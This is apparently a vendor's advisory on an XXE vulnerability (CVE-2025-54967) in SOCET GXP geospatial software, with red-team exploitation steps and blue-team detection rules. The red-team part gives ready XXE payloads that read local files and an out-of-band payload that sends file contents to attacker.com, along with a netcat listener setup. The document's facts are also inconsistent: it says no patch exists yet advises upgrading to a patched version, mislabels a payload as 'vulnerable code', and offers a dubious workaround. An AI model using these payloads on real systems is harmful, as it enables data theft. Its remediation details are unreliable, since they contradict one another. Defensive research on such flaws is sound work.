CVE-2025-54967

Executive Summary

CVE-2025-54967 is a critical XML External Entity (XXE) injection vulnerability discovered in BAE Systems’ SOCET GXP geospatial intelligence software, affecting versions prior to 4.6.0.3. The flaw resides in the application’s XML parser, which fails to disable external entity processing when handling certain XML-based files. An attacker can exploit this by social engineering a user into opening a malicious file, triggering outbound HTTP/HTTPS requests, file reads, or SSRF attacks. This can lead to the exfiltration of sensitive data, including credentials, system files, or internal network reconnaissance results. The vulnerability has a CVSS v3.1 base score of 6.5 (Medium), with a vector emphasizing local attack vector, low complexity, no privileges required, but user interaction is mandatory. No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been officially released by BAE Systems as of the latest advisory. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks against defense and intelligence sectors.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a proprietary desktop application (SOCET GXP) used in geospatial intelligence workflows. Supply chain risks are limited to the distribution of malicious XML files via email, USB, or shared drives.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Local – the attacker must deliver a malicious file to the victim’s system.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – victim must open the malicious file.
• Scope (S): Unchanged – exploitation does not affect other components.
• Confidentiality (C): High – sensitive data can be exfiltrated.
• Integrity (I): None – no data modification.
• Availability (A): None – no denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for data exfiltration in a high-value intelligence environment elevates the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic XML External Entity (XXE) injection (CWE-611). SOCET GXP uses an XML parser that, by default, processes external entities defined in a Document Type Definition (DTD). When a user opens a specially crafted XML file (e.g., a project file, configuration file, or data exchange format), the parser resolves external entities, allowing the attacker to:

1. Read local files: Use file:// URIs to read sensitive files (e.g., /etc/passwd, C:\Users\admin\AppData\Local\...).
2. Perform Server-Side Request Forgery (SSRF): Use http:// or https:// URIs to make outbound requests to internal or external servers, exfiltrating data via HTTP headers or parameters.
3. Blind XXE: If direct output is not visible, use out-of-band (OOB) techniques to exfiltrate data via DNS or HTTP requests to an attacker-controlled server.

The attack flow:

1. Attacker crafts a malicious XML file with an external entity pointing to a sensitive resource.
2. Attacker delivers the file via social engineering (e.g., email attachment, shared drive).
3. Victim opens the file in SOCET GXP.
4. The XML parser processes the entity, making a request to the attacker’s server or reading a local file.
5. Data is exfiltrated.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.6.0.3):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

In vulnerable versions, the parser resolves &xxe; and includes the contents of /etc/passwd in the output.

Patched Code (4.6.0.3+): The fix disables external entity processing by setting the appropriate parser features:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

This prevents the parser from processing any DTD declarations or external entities.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: SOCET GXP 4.6.0.2 (or earlier) on Windows 10/11.
• Attacker: Kali Linux with a web server (e.g., python3 -m http.server 80) to receive exfiltrated data.
• Tools: Burp Suite (optional for OOB), netcat, or a simple HTTP server.

Exploitation Steps:

1. Craft Malicious XML File:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///C:/Users/Public/secret.txt">
   ]>
   <root>
     <data>&xxe;</data>
   </root>
   

   Save as malicious.xml.

2. Set Up Listener:

   nc -lvnp 80
   

   Or use a Python HTTP server to capture requests.

3. Deliver File: Email the file to the victim or place it on a shared drive.

4. Trigger: Victim opens malicious.xml in SOCET GXP. The parser reads secret.txt and displays its contents (or sends it via OOB).

5. OOB Exfiltration (if blind):

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY % xxe SYSTEM "file:///C:/Users/Public/secret.txt">
     <!ENTITY % callhome "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%xxe;'>">
     %callhome;
   ]>
   <root>&exfil;</root>
   

   This sends the file content as a URL parameter to the attacker’s server.

Blue Team (Defensive)

Detection Steps:

1. Monitor for Outbound Connections: Look for unexpected HTTP/HTTPS/DNS requests from SOCET GXP processes to external IPs.
2. File Integrity Monitoring: Alert on creation of XML files with DOCTYPE declarations containing SYSTEM or PUBLIC identifiers.
3. User Awareness: Train users not to open unsolicited XML files from unknown sources.
4. Network Segmentation: Restrict outbound internet access from SOCET GXP workstations.

Hunting Queries:

• Windows Event Logs: Look for process creation events where socetgxp.exe opens an XML file.
• Network Logs: Search for HTTP requests with suspicious query strings (e.g., ?data=).

Indicators of Compromise (IOCs)

• File Hashes (Malicious XML):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example – replace with actual)
• Network Indicators:
  • Outbound HTTP/HTTPS requests to attacker-controlled IPs/domains.
  • DNS queries for suspicious domains (e.g., attacker.com).
• Process Indicators:
  • socetgxp.exe making network connections.
  • Child processes like cmd.exe or powershell.exe spawned by SOCET GXP (if exploited further).
• File Indicators:
  • XML files containing <!DOCTYPE with SYSTEM or PUBLIC identifiers.
  • Temporary files created in %TEMP% with XML content.

Detection Engineering

YARA Rule

rule CVE_2025_54967_XXE_SOCET_GXP {
    meta:
        description = "Detects malicious XML files exploiting CVE-2025-54967 in SOCET GXP"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $xxe1 = "<!DOCTYPE" nocase
        $xxe2 = "SYSTEM" nocase
        $xxe3 = "file://" nocase
        $xxe4 = "http://" nocase
        $xxe5 = "https://" nocase
    condition:
        $xxe1 and ($xxe2 or $xxe3 or $xxe4 or $xxe5)
}

Sigma Rule

title: CVE-2025-54967 XXE in SOCET GXP
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XML files with external entity declarations targeting SOCET GXP
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        EventID: 11
        TargetFilename|endswith: '.xml'
        TargetFilename|contains: 'socet'
    condition: selection
falsepositives:
    - Legitimate XML files with DTDs from trusted sources
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54967 XXE Outbound Exfiltration"; flow:to_server; content:"GET"; http_method; content:"?data="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to SOCET GXP version 4.6.0.3 or later. If not possible, apply the following workaround:
   • Disable DTD processing in the XML parser by setting the environment variable JAVA_TOOL_OPTIONS to -Dorg.xml.sax.driver=com.sun.org.apache.xerces.internal.parsers.SAXParser -Djavax.xml.parsers.DocumentBuilderFactory=com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderFactoryImpl (if applicable).
2. Network Controls: Block outbound HTTP/HTTPS from SOCET GXP workstations to the internet. Use a proxy with whitelisting.
3. User Training: Educate users on the risks of opening unsolicited XML files.
4. File Scanning: Deploy endpoint detection and response (EDR) solutions with YARA rules to scan for malicious XML files.
5. Monitor: Continuously monitor for XXE-related IOCs.

Valters IT – Securing your digital frontier.